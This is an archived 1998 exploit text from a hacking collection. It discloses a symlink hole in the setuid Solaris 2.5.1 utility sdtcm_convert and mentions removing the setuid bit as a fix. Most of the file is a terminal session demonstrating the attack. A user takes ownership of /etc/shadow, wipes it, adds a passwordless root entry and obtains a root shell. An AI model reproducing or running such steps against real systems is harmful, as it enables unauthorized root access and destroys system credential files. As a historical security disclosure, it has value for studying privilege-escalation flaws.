home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sdtcm_convert.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  61 lines

  1.  
  2.  
  3. Another hole in Solaris
  4.  
  5. I have found a security hole in sdtcm_convert on Solaris 2.5.1.
  6. sdtcm_convert - calendar data conversion utility - allows any user to
  7. change the owner for any file (or directory) from the system or gain root
  8. access. The exploit is very simple. Change the permision mode of your calendar
  9. file (callog.YOU) from /var/spool/calendar directory (usual r--rw----) and run
  10. sdtcm_convert. sdtcm_convert 'll observe the change and 'll want  to
  11. correct it (it 'll ask you first). You have only to delete the callog file
  12. and make a symbolic link to a target file and your calendar file and said to
  13. sdtcm_convert 'y' (yes). sdtcm_convert 'll make you the owner of target
  14. file ...
  15. A simple way to correct this is to get out suid_exec bit from
  16. sdtcm_convert.
  17.  
  18.  
  19.  
  20. -----------------------------------------------------------------------------
  21.  
  22.  
  23.  CDE is generally a can of worms.
  24.  
  25.  22:15  [wumpus:~] % whoami
  26.  adam
  27.  22:15  [wumpus:~] % ls -l /etc/shadow
  28.  -r--------   1 root     sys          291 Jul 11 22:14 /etc/shadow
  29.  22:15  [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam
  30.  22:15  [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam
  31.  Loading the calendar ...
  32.  
  33.  WARNING!! Data will be lost when converting version 4 data format
  34.  back to version 3 data format.
  35.  
  36.  Do you want to continue? (Y/N) [Y] y
  37.  
  38.  Doing conversion ...
  39.  Writing out new file ...
  40.  Conversion done successfully.
  41.  Total number of appointments                    = 0
  42.  Number of one-time appointments converted       = 0
  43.  Number of repeating appointments converted      = 0
  44.  Number of one-time appointments pruned          = 0
  45.  Number of repeating appointments pruned         = 0
  46.  The original file is saved in /tmp/calorig.adam
  47.  22:15  [wumpus:~] % ls -l /etc/shadow
  48.  -r--rw----   1 adam     daemon      3114 Jul 11 22:15 /etc/shadow
  49.  22:15  [wumpus:~] % chmod 644 /etc/shadow
  50.  22:15  [wumpus:~] % cp /dev/null /etc/shadow
  51.  cp: overwrite /etc/shadow (y/n)? y
  52.  22:15  [wumpus:~] % ls -l /etc/shadow
  53.  -rw-r--r--   1 adam     daemon         0 Jul 11 22:15 /etc/shadow
  54.  22:15  [wumpus:~] % echo "root::6445::::::" >> /etc/shadow
  55.  22:16  [wumpus:~] % su
  56.  # id
  57.  uid=0(root) gid=1(other)
  58.  # exit
  59.  
  60.  
  61.